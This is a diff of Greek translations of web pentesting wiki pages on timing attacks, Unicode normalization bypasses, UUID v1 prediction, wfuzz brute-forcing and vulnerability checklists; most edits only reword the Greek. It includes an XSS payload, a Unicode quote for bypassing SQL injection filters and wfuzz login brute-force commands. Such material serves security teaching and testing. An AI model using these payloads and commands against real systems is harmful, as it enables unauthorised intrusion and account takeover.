**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) είναι ένα εργαλείο που είναι εξειδικευμένο σε CTFs αλλά μπορεί επίσης να είναι χρήσιμο για να σπάσει μη έγκυρες παραμέτρους σε ένα πραγματικό σενάριο. Το εργαλείο απλώς ψεκάζει λέξεις και ερωτήματα για να ανιχνεύσει φίλτρα, αναζητώντας παρακάμψεις, και παρέχει επίσης μια διαδραστική κονσόλα.
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) είναι ένα εργαλείο που είναι εξειδικευμένο σε CTFs αλλά μπορεί επίσης να είναι χρήσιμο για brute force μη έγκυρων παραμέτρων σε ένα πραγματικό σενάριο. Το εργαλείο απλώς ψεκάζει λέξεις και ερωτήματα για να ανιχνεύσει φίλτρα, αναζητώντας παρακάμψεις, και παρέχει επίσης μια διαδραστική κονσόλα.
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
|
@ -7,10 +7,10 @@
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Ο βασικός στόχος μιας χρονικής επίθεσης είναι ουσιαστικά να είναι σε θέση να απαντήσει σε περίπλοκες ερωτήσεις ή να ανιχνεύσει κρυφές λειτουργίες απλά **ελέγχοντας τις χρονικές διαφορές στις απαντήσεις από παρόμοια αιτήματα**.
|
||||
Ο βασικός στόχος μιας χρονικής επίθεσης είναι βασικά να μπορεί να απαντήσει σε περίπλοκες ερωτήσεις ή να ανιχνεύσει κρυφές λειτουργίες απλά **ελέγχοντας τις χρονικές διαφορές στις απαντήσεις από παρόμοια αιτήματα**.
|
||||
|
||||
Παραδοσιακά, αυτό ήταν πολύ περίπλοκο λόγω της καθυστέρησης και της τζιτερ που εισάγονται τόσο από το δίκτυο όσο και από τον διακομιστή. Ωστόσο, από την ανακάλυψη και τη βελτίωση της [**Επίθεσης Race Condition Single Packet**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), είναι δυνατό να χρησιμοποιηθεί αυτή η τεχνική για να αφαιρεθούν όλες οι καθυστερήσεις του δικτύου από την εξίσωση.\
|
||||
Αφήνοντας μόνο τις **καθυστερήσεις του διακομιστή** καθιστά την χρονική επίθεση πιο εύκολη στην ανακάλυψη και την εκμετάλλευση.
|
||||
Παραδοσιακά, αυτό ήταν πολύ περίπλοκο λόγω της καθυστέρησης και της τζιτερ που εισάγονται τόσο από το δίκτυο όσο και από τον διακομιστή. Ωστόσο, από την ανακάλυψη και τη βελτίωση της [**Επίθεσης Race Condition Single Packet**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), είναι δυνατόν να χρησιμοποιηθεί αυτή η τεχνική για να αφαιρεθούν όλες οι καθυστερήσεις του δικτύου από την εξίσωση.\
|
||||
Αφήνοντας μόνο τις **καθυστερήσεις του διακομιστή** καθιστά τις χρονικές επιθέσεις πιο εύκολες στην ανακάλυψη και την εκμετάλλευση.
|
||||
|
||||
## Ανακαλύψεις
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
|
||||
Στην ανάρτηση του blog σχολιάζεται πώς χρησιμοποιώντας αυτή την τεχνική ήταν δυνατό να βρεθούν κρυφές παράμετροι και ακόμη και κεφαλίδες απλά ελέγχοντας ότι όποτε η παράμετρος ή η κεφαλίδα ήταν παρούσα στο αίτημα υπήρχε μια **χρονική διαφορά περίπου 5ms**. Στην πραγματικότητα, αυτή η τεχνική ανακάλυψης έχει προστεθεί στο **Param Miner** στο Burp Suite.
|
||||
|
||||
Αυτές οι χρονικές διαφορές μπορεί να οφείλονται σε μια **αίτηση DNS**, σε κάποιο **καταγραφή** που έγινε λόγω μη έγκυρης εισόδου ή επειδή γίνονται κάποιοι **έλεγχοι** όταν μια παράμετρος είναι παρούσα στο αίτημα.
|
||||
Αυτές οι χρονικές διαφορές μπορεί να οφείλονται σε μια **αίτηση DNS**, σε κάποιο **καταγραφή** που έγινε λόγω μη έγκυρης εισόδου ή επειδή γίνονται κάποιες **έλεγχοι** όταν μια παράμετρος είναι παρούσα στο αίτημα.
|
||||
|
||||
Κάτι που πρέπει να θυμάστε όταν εκτελείτε αυτού του είδους τις επιθέσεις είναι ότι λόγω της κρυφής φύσης της επιφάνειας, μπορεί να μην γνωρίζετε ποια είναι η πραγματική αιτία των χρονικών διαφορών.
|
||||
|
||||
|
@ -30,7 +30,7 @@ unicode-normalization.md
|
||||
Τα back-ends συμπεριφέρονται περίεργα όταν **λαμβάνουν emojis**. Αυτό συνέβη σε [**αυτή την αναφορά**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) όπου ο ερευνητής κατάφερε να επιτύχει ένα XSS με ένα payload όπως: `💋img src=x onerror=alert(document.domain)//💛`
|
||||
|
||||
Σε αυτή την περίπτωση, το σφάλμα ήταν ότι ο διακομιστής μετά την αφαίρεση των κακόβουλων χαρακτήρων **μετέτρεψε τη συμβολοσειρά UTF-8 από Windows-1252 σε UTF-8** (βασικά η κωδικοποίηση εισόδου και η μετατροπή από κωδικοποίηση δεν ταίριαζαν). Έτσι, αυτό δεν δίνει ένα σωστό < αλλά έναν περίεργο unicode: `‹`\
|
||||
``Έτσι, πήραν αυτή την έξοδο και **μετέτρεψαν ξανά τώρα από UTF-8 σε ASCII**. Αυτό **κανονικοποίησε** το `‹` σε `<` έτσι ώστε η εκμετάλλευση να μπορούσε να λειτουργήσει σε αυτό το σύστημα.\
|
||||
``Έτσι πήραν αυτή την έξοδο και **μετέτρεψαν ξανά τώρα από UTF-8 σε ASCII**. Αυτό **κανονικοποίησε** το `‹` σε `<` έτσι ώστε η εκμετάλλευση να μπορούσε να λειτουργήσει σε αυτό το σύστημα.\
|
||||
Αυτό είναι που συνέβη:
|
||||
```php
|
||||
<?php
|
||||
|
@ -8,8 +8,8 @@
|
||||
|
||||
Η κανονικοποίηση Unicode είναι μια διαδικασία που διασφαλίζει ότι διαφορετικές δυαδικές αναπαραστάσεις χαρακτήρων είναι τυποποιημένες στην ίδια δυαδική τιμή. Αυτή η διαδικασία είναι κρίσιμη για την επεξεργασία συμβολοσειρών στον προγραμματισμό και την επεξεργασία δεδομένων. Το πρότυπο Unicode ορίζει δύο τύπους ισοδυναμίας χαρακτήρων:
|
||||
|
||||
1. **Κανονική Ισοδυναμία**: Οι χαρακτήρες θεωρούνται κανονικά ισοδύναμοι εάν έχουν την ίδια εμφάνιση και σημασία όταν εκτυπώνονται ή εμφανίζονται.
|
||||
2. **Ισοδυναμία Συμβατότητας**: Μια πιο αδύναμη μορφή ισοδυναμίας όπου οι χαρακτήρες μπορεί να αντιπροσωπεύουν τον ίδιο αφηρημένο χαρακτήρα αλλά μπορεί να εμφανίζονται διαφορετικά.
|
||||
1. **Κανονική Ισοδυναμία**: Οι χαρακτήρες θεωρούνται κανονικά ισοδύναμοι αν έχουν την ίδια εμφάνιση και σημασία όταν εκτυπώνονται ή εμφανίζονται.
|
||||
2. **Ισοδυναμία Συμβατότητας**: Μια πιο αδύναμη μορφή ισοδυναμίας όπου οι χαρακτήρες μπορεί να αναπαριστούν τον ίδιο αφηρημένο χαρακτήρα αλλά να εμφανίζονται διαφορετικά.
|
||||
|
||||
Υπάρχουν **τέσσερις αλγόριθμοι κανονικοποίησης Unicode**: NFC, NFD, NFKC και NFKD. Κάθε αλγόριθμος χρησιμοποιεί τεχνικές κανονικοποίησης κανονικής και συμβατότητας διαφορετικά. Για μια πιο εις βάθος κατανόηση, μπορείτε να εξερευνήσετε αυτές τις τεχνικές στο [Unicode.org](https://unicode.org/).
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
|
||||
Είναι κρίσιμο να κατανοήσετε αυτές τις έννοιες για να χειριστείτε και να μετριάσετε αποτελεσματικά πιθανά ζητήματα που προκύπτουν από την πολυπλοκότητα του Unicode και τις διάφορες μεθόδους κωδικοποίησής του.
|
||||
|
||||
Ένα παράδειγμα του πώς το Unicode κανονικοποιεί δύο διαφορετικά bytes που αντιπροσωπεύουν τον ίδιο χαρακτήρα:
|
||||
Ένα παράδειγμα του πώς το Unicode κανονικοποιεί δύο διαφορετικά bytes που αναπαριστούν τον ίδιο χαρακτήρα:
|
||||
```python
|
||||
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
||||
```
|
||||
@ -35,15 +35,15 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
Αν μπορείτε να βρείτε μέσα σε μια webapp μια τιμή που επιστρέφεται, θα μπορούσατε να προσπαθήσετε να στείλετε **‘KELVIN SIGN’ (U+0212A)** που **κανονικοποιείται σε "K"** (μπορείτε να το στείλετε ως `%e2%84%aa`). **Αν επιστραφεί ένα "K"**, τότε, κάποια μορφή **κανονικοποίησης Unicode** εκτελείται.
|
||||
|
||||
Άλλο **παράδειγμα**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` μετά την **κανονικοποίηση** είναι `Leonishan`.
|
||||
Άλλο **παράδειγμα**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` μετά την **unicode** είναι `Leonishan`.
|
||||
|
||||
## **Ευάλωτα Παραδείγματα**
|
||||
|
||||
### **Παράκαμψη φίλτρου SQL Injection**
|
||||
|
||||
Φανταστείτε μια ιστοσελίδα που χρησιμοποιεί τον χαρακτήρα `'` για να δημιουργήσει SQL ερωτήματα με την είσοδο του χρήστη. Αυτή η ιστοσελίδα, ως μέτρο ασφαλείας, **διαγράφει** όλες τις εμφανίσεις του χαρακτήρα **`'`** από την είσοδο του χρήστη, αλλά **μετά από αυτή τη διαγραφή** και **πριν τη δημιουργία** του ερωτήματος, **κανονικοποιεί** χρησιμοποιώντας **Unicode** την είσοδο του χρήστη.
|
||||
Φανταστείτε μια ιστοσελίδα που χρησιμοποιεί τον χαρακτήρα `'` για να δημιουργήσει SQL ερωτήματα με την είσοδο του χρήστη. Αυτή η ιστοσελίδα, ως μέτρο ασφαλείας, **διαγράφει** όλες τις εμφανίσεις του χαρακτήρα **`'`** από την είσοδο του χρήστη, αλλά **μετά από αυτή τη διαγραφή** και **πριν από τη δημιουργία** του ερωτήματος, **κανονικοποιεί** χρησιμοποιώντας **Unicode** την είσοδο του χρήστη.
|
||||
|
||||
Έτσι, ένας κακόβουλος χρήστης θα μπορούσε να εισάγει έναν διαφορετικό χαρακτήρα Unicode ισοδύναμο με `' (0x27)` όπως το `%ef%bc%87`, όταν η είσοδος κανονικοποιείται, δημιουργείται ένα μονό απόσπασμα και εμφανίζεται μια **ευπάθεια SQL Injection**:
|
||||
Έτσι, ένας κακόβουλος χρήστης θα μπορούσε να εισάγει έναν διαφορετικό χαρακτήρα Unicode ισοδύναμο με `' (0x27)` όπως το `%ef%bc%87`, όταν η είσοδος κανονικοποιείται, δημιουργείται ένα μονό απόσπασμα και εμφανίζεται μια **ευπάθεια SQLInjection**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -89,7 +89,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
||||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Όταν το backend **ελέγχει την είσοδο του χρήστη με ένα regex**, μπορεί να είναι δυνατόν η **είσοδος** να είναι **κανονικοποιημένη** για το **regex** αλλά **όχι** για το πού χρησιμοποιείται. Για παράδειγμα, σε μια Open Redirect ή SSRF το regex μπορεί να **κανονικοποιεί το αποσταλμένο UR**L αλλά στη συνέχεια να **το προσπελάζει όπως είναι**.
|
||||
Όταν το backend **ελέγχει την είσοδο του χρήστη με ένα regex**, μπορεί να είναι δυνατόν η **είσοδος** να είναι **κανονικοποιημένη** για το **regex** αλλά **όχι** για το πού χρησιμοποιείται. Για παράδειγμα, σε ένα Open Redirect ή SSRF το regex μπορεί να **κανονικοποιεί το αποσταλμένο UR**L αλλά στη συνέχεια να **το προσπελάζει όπως είναι**.
|
||||
|
||||
Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* επιτρέπει να **δημιουργήσετε παραλλαγές της εισόδου** για να fuzz το backend. Για περισσότερες πληροφορίες ελέγξτε το **github** και αυτή την [**ανάρτηση**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Τα Universally Unique Identifiers (UUIDs) είναι **128-bit αριθμοί που χρησιμοποιούνται για να προσδιορίζουν μοναδικά πληροφορίες** σε υπολογιστικά συστήματα. Τα UUIDs είναι απαραίτητα σε εφαρμογές όπου απαιτούνται μοναδικοί αναγνωριστές χωρίς κεντρικό συντονισμό. Χρησιμοποιούνται συνήθως ως κλειδιά βάσης δεδομένων και μπορούν να αναφέρονται σε διάφορα στοιχεία όπως έγγραφα και συνεδρίες.
|
||||
|
||||
Τα UUIDs έχουν σχεδιαστεί για να είναι μοναδικά και **δύσκολα να μαντευτούν**. Είναι δομημένα σε μια συγκεκριμένη μορφή, χωρισμένα σε πέντε ομάδες που αντιπροσωπεύονται ως 32 δεκαεξαδικοί ψηφία. Υπάρχουν διαφορετικές εκδόσεις UUIDs, καθεμία εξυπηρετεί διαφορετικούς σκοπούς:
|
||||
Τα UUIDs έχουν σχεδιαστεί για να είναι μοναδικά και **δύσκολα να μαντευτούν**. Είναι δομημένα σε μια συγκεκριμένη μορφή, χωρισμένα σε πέντε ομάδες που αντιπροσωπεύονται ως 32 δεκαεξαδικοί ψηφία. Υπάρχουν διαφορετικές εκδόσεις UUIDs, καθεμία από τις οποίες εξυπηρετεί διαφορετικούς σκοπούς:
|
||||
|
||||
- **UUID v1** είναι βασισμένο στον χρόνο, ενσωματώνοντας το χρονικό σήμα, τη σειρά ρολογιού και το ID κόμβου (διεύθυνση MAC), αλλά μπορεί να εκθέσει πληροφορίες του συστήματος.
|
||||
- **UUID v2** είναι παρόμοιο με το v1 αλλά περιλαμβάνει τροποποιήσεις για τοπικούς τομείς (δεν χρησιμοποιείται ευρέως).
|
||||
@ -23,7 +23,7 @@
|
||||
|
||||
## Sandwich attack
|
||||
|
||||
Η "Sandwich Attack" είναι ένας συγκεκριμένος τύπος επίθεσης που **εκμεταλλεύεται την προβλεψιμότητα της γεννήτριας UUID v1 σε διαδικτυακές εφαρμογές**, ιδιαίτερα σε χαρακτηριστικά όπως η επαναφορά κωδικών πρόσβασης. Το UUID v1 δημιουργείται με βάση τον χρόνο, τη σειρά ρολογιού και τη διεύθυνση MAC του κόμβου, γεγονός που μπορεί να το καθιστά κάπως προβλέψιμο αν ένας επιτιθέμενος μπορεί να αποκτήσει μερικά από αυτά τα UUIDs που δημιουργούνται κοντά χρονικά.
|
||||
Η "Sandwich Attack" είναι ένας συγκεκριμένος τύπος επίθεσης που **εκμεταλλεύεται την προβλεψιμότητα της γεννήτριας UUID v1 σε διαδικτυακές εφαρμογές**, ιδιαίτερα σε χαρακτηριστικά όπως η επαναφορά κωδικών πρόσβασης. Το UUID v1 δημιουργείται με βάση τον χρόνο, τη σειρά ρολογιού και τη διεύθυνση MAC του κόμβου, γεγονός που μπορεί να το καθιστά κάπως προβλέψιμο αν ένας επιτιθέμενος μπορεί να αποκτήσει μερικά από αυτά τα UUIDs που δημιουργούνται κοντά στον χρόνο.
|
||||
|
||||
### Example
|
||||
|
||||
@ -42,7 +42,7 @@
|
||||
|
||||
3. **Ανάλυση**:
|
||||
|
||||
- Ο επιτιθέμενος τώρα έχει δύο UUIDs που δημιουργήθηκαν κοντά χρονικά (\`99874128\` και \`998796b4\`). Δεδομένης της διαδοχικής φύσης των UUIDs που βασίζονται στον χρόνο, το UUID για τον λογαριασμό του θύματος θα πέσει πιθανώς μεταξύ αυτών των δύο τιμών.
|
||||
- Ο επιτιθέμενος έχει τώρα δύο UUIDs που δημιουργήθηκαν κοντά στον χρόνο (\`99874128\` και \`998796b4\`). Δεδομένης της διαδοχικής φύσης των UUIDs που βασίζονται στον χρόνο, το UUID για τον λογαριασμό του θύματος θα πέσει πιθανώς μεταξύ αυτών των δύο τιμών.
|
||||
|
||||
4. **Επίθεση Brute Force:**
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
Ένα εργαλείο για FUZZ διαδικτυακές εφαρμογές οπουδήποτε.
|
||||
|
||||
> [Wfuzz](https://github.com/xmendez/wfuzz) έχει δημιουργηθεί για να διευκολύνει την εργασία σε εκτιμήσεις διαδικτυακών εφαρμογών και βασίζεται σε μια απλή έννοια: αντικαθιστά οποιαδήποτε αναφορά στη λέξη-κλειδί FUZZ με την τιμή ενός δεδομένου payload.
|
||||
> [Wfuzz](https://github.com/xmendez/wfuzz) έχει δημιουργηθεί για να διευκολύνει την εργασία στις αξιολογήσεις διαδικτυακών εφαρμογών και βασίζεται σε μια απλή έννοια: αντικαθιστά οποιαδήποτε αναφορά στη λέξη-κλειδί FUZZ με την τιμή ενός δεδομένου payload.
|
||||
|
||||
## Εγκατάσταση
|
||||
|
||||
@ -58,13 +58,13 @@ wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&
|
||||
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
|
||||
#Here we have filtered by code
|
||||
```
|
||||
#### **GET, 2 λίστες, φίλτρο συμβολοσειράς (εμφάνιση), διακομιστής μεσολάβησης, cookies**
|
||||
#### **GET, 2 λίστες, φίλτρο συμβολοσειράς (εμφάνιση), μεσολαβητής, cookies**
|
||||
```bash
|
||||
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
|
||||
```
|
||||
### Bruteforce Directory/RESTful bruteforce
|
||||
|
||||
[Arjun parameters wordlist](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
|
||||
[Λίστα λέξεων παραμέτρων Arjun](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
|
||||
```
|
||||
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
|
||||
```
|
||||
@ -88,7 +88,7 @@ wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm '
|
||||
```bash
|
||||
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
|
||||
```
|
||||
#### **User-Agent, φίλτρο κώδικα (κρύψτε), διακομιστής μεσολάβησης**
|
||||
#### **User-Agent, φίλτρο κώδικα (κρύψτε), διαμεσολαβητής**
|
||||
```bash
|
||||
wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php"
|
||||
```
|
||||
|
@ -16,7 +16,7 @@
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Αποκάλυψη Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Παράκαμψη Proxy / WAF Protections**](proxy-waf-protections-bypass.md)
|
||||
- [ ] [**Παράκαμψη Προστασιών Proxy / WAF**](proxy-waf-protections-bypass.md)
|
||||
|
||||
## **Είσοδος Χρήστη**
|
||||
|
||||
@ -26,7 +26,7 @@
|
||||
|
||||
### **Αντανάκλαση Τιμών**
|
||||
|
||||
Αν τα εισαγόμενα δεδομένα μπορεί να αντανάκλαστούν με κάποιο τρόπο στην απάντηση, η σελίδα μπορεί να είναι ευάλωτη σε διάφορα ζητήματα.
|
||||
Αν τα εισαγόμενα δεδομένα μπορεί να αντανακλώνται με κάποιο τρόπο στην απάντηση, η σελίδα μπορεί να είναι ευάλωτη σε διάφορα ζητήματα.
|
||||
|
||||
- [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](command-injection.md)
|
||||
@ -44,7 +44,7 @@
|
||||
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](xs-search/)
|
||||
|
||||
Ορισμένες από τις αναφερόμενες ευπάθειες απαιτούν ειδικές συνθήκες, άλλες απλώς απαιτούν το περιεχόμενο να αντανάκλαται. Μπορείτε να βρείτε μερικούς ενδιαφέροντες πολυγλώσσους για να δοκιμάσετε γρήγορα τις ευπάθειες σε:
|
||||
Ορισμένες από τις αναφερόμενες ευπάθειες απαιτούν ειδικές συνθήκες, άλλες απλώς απαιτούν το περιεχόμενο να αντανακλάται. Μπορείτε να βρείτε μερικούς ενδιαφέροντες πολυγλώσσους για να δοκιμάσετε γρήγορα τις ευπάθειες σε:
|
||||
|
||||
{{#ref}}
|
||||
pocs-and-polygloths-cheatsheet/
|
||||
@ -74,7 +74,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
Ανάλογα με τους HTTP headers που παρέχονται από τον διακομιστή ιστού, κάποιες ευπάθειες μπορεί να είναι παρούσες.
|
||||
|
||||
- [ ] [**Clickjacking**](clickjacking.md)
|
||||
- [ ] [**Παράκαμψη Content Security Policy**](content-security-policy-csp-bypass/)
|
||||
- [ ] [**Παράκαμψη Πολιτικής Ασφαλείας Περιεχομένου**](content-security-policy-csp-bypass/)
|
||||
- [ ] [**Hacking Cookies**](hacking-with-cookies/)
|
||||
- [ ] [**CORS - Κακή Διαμόρφωση & Παράκαμψη**](cors-bypass.md)
|
||||
|
||||
@ -87,7 +87,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
- [ ] [**Παράκαμψη Captcha**](captcha-bypass.md)
|
||||
- [ ] [**Παράκαμψη Σύνδεσης**](login-bypass/)
|
||||
- [ ] [**Race Condition**](race-condition.md)
|
||||
- [ ] [**Παράκαμψη Rate Limit**](rate-limit-bypass.md)
|
||||
- [ ] [**Παράκαμψη Περιορισμού Ρυθμού**](rate-limit-bypass.md)
|
||||
- [ ] [**Παράκαμψη Επαναφοράς Ξεχασμένου Κωδικού**](reset-password.md)
|
||||
- [ ] [**Ευπάθειες Εγγραφής**](registration-vulnerabilities.md)
|
||||
|
||||
@ -105,9 +105,9 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
Λειτουργίες που επιτρέπουν την αποστολή αρχείων μπορεί να είναι ευάλωτες σε διάφορα ζητήματα.\
|
||||
Λειτουργίες που δημιουργούν αρχεία που περιλαμβάνουν είσοδο χρήστη μπορεί να εκτελούν απροσδόκητο κώδικα.\
|
||||
Χρήστες που ανοίγουν αρχεία που έχουν αποσταλεί από χρήστες ή που έχουν δημιουργηθεί αυτόματα περιλαμβάνοντας είσοδο χρήστη μπορεί να διακυβεύονται.
|
||||
Χρήστες που ανοίγουν αρχεία που έχουν αποσταλεί από χρήστες ή αυτόματα δημιουργημένα που περιλαμβάνουν είσοδο χρήστη μπορεί να είναι σε κίνδυνο.
|
||||
|
||||
- [ ] [**Αποστολή Αρχείου**](file-upload/)
|
||||
- [ ] [**Αποστολή Αρχείων**](file-upload/)
|
||||
- [ ] [**Εισαγωγή Συνταγής**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**Εισαγωγή PDF**](xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Σε κάθε Web Pentest, υπάρχουν **πολλές κρυφές και προφανείς θέσεις που μπορεί να είναι ευάλωτες**. Αυτή η ανάρτηση προορίζεται να είναι μια λίστα ελέγχου για να επιβεβαιώσετε ότι έχετε ελέγξει για ευπάθειες σε όλες τις πιθανές θέσεις.
|
||||
Σε κάθε Web Pentest, υπάρχουν **πολλές κρυφές και προφανείς θέσεις που μπορεί να είναι ευάλωτες**. Αυτή η ανάρτηση προορίζεται να είναι μια λίστα ελέγχου για να επιβεβαιώσετε ότι έχετε αναζητήσει ευπάθειες σε όλες τις πιθανές θέσεις.
|
||||
|
||||
## Διαμεσολαβητές
|
||||
|
||||
> [!NOTE]
|
||||
> Σήμερα, οι **ιστοσελίδες** **συνήθως** **χρησιμοποιούν** κάποιο είδος **ενδιάμεσων** **διαμεσολαβητών**, οι οποίοι μπορεί να (κατα)χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο διαμεσολαβητή για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend.
|
||||
> Σήμερα, οι **ιστοσελίδες** **συνήθως** **χρησιμοποιούν** κάποιο είδος **διαμεσολαβητών**, οι οποίοι μπορεί να (κατα)χρησιμοποιηθούν για να εκμεταλλευτούν ευπάθειες. Αυτές οι ευπάθειες χρειάζονται έναν ευάλωτο διαμεσολαβητή για να είναι σε θέση, αλλά συνήθως χρειάζονται και κάποια επιπλέον ευπάθεια στο backend.
|
||||
|
||||
- [ ] [**Κατάχρηση κεφαλίδων hop-by-hop**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Κατάχρηση hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Δηλητηρίαση Cache/Απάτη Cache**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
@ -52,7 +52,7 @@
|
||||
|
||||
### **Λειτουργίες Αναζήτησης**
|
||||
|
||||
Αν η λειτουργία μπορεί να χρησιμοποιηθεί για να αναζητήσει κάποια δεδομένα στο backend, ίσως μπορείτε να (κατα)χρησιμοποιήσετε αυτήν για να αναζητήσετε αυθαίρετα δεδομένα.
|
||||
Αν η λειτουργία μπορεί να χρησιμοποιηθεί για να αναζητήσει κάποιο είδος δεδομένων στο backend, ίσως μπορείτε να (κατα)χρησιμοποιήσετε αυτήν για να αναζητήσετε αυθαίρετα δεδομένα.
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
@ -71,7 +71,7 @@
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
Ανάλογα με τις HTTP κεφαλίδες που παρέχονται από τον διακομιστή ιστού, κάποιες ευπάθειες μπορεί να είναι παρούσες.
|
||||
Ανάλογα με τους HTTP headers που παρέχονται από τον διακομιστή ιστού, κάποιες ευπάθειες μπορεί να είναι παρούσες.
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Παράκαμψη Πολιτικής Ασφαλείας Περιεχομένου**](../content-security-policy-csp-bypass/)
|
||||
@ -93,11 +93,11 @@
|
||||
|
||||
### **Δομημένα αντικείμενα / Συγκεκριμένες λειτουργίες**
|
||||
|
||||
Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικό αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί αν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\
|
||||
Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες αν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως Εισαγωγές Κεφαλίδας Email).
|
||||
Ορισμένες λειτουργίες θα απαιτούν τα **δεδομένα να είναι δομημένα σε πολύ συγκεκριμένη μορφή** (όπως ένα γλωσσικά σειριασμένο αντικείμενο ή XML). Επομένως, είναι πιο εύκολο να εντοπιστεί αν η εφαρμογή μπορεί να είναι ευάλωτη καθώς χρειάζεται να επεξεργάζεται αυτού του είδους τα δεδομένα.\
|
||||
Ορισμένες **συγκεκριμένες λειτουργίες** μπορεί επίσης να είναι ευάλωτες αν χρησιμοποιηθεί μια **συγκεκριμένη μορφή εισόδου** (όπως Εισαγωγές Header Email).
|
||||
|
||||
- [ ] [**Deserialization**](../deserialization/)
|
||||
- [ ] [**Εισαγωγή Κεφαλίδας Email**](../email-injections.md)
|
||||
- [ ] [**Εισαγωγή Header Email**](../email-injections.md)
|
||||
- [ ] [**Ευπάθειες JWT**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
@ -108,7 +108,7 @@
|
||||
Χρήστες που ανοίγουν αρχεία που έχουν αποσταλεί από χρήστες ή αυτόματα δημιουργημένα περιλαμβάνοντας είσοδο χρήστη μπορεί να διακυβεύονται.
|
||||
|
||||
- [ ] [**Αποστολή Αρχείου**](../file-upload/)
|
||||
- [ ] [**Εισαγωγή Τύπου**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**Εισαγωγή Συνταγής**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**Εισαγωγή PDF**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
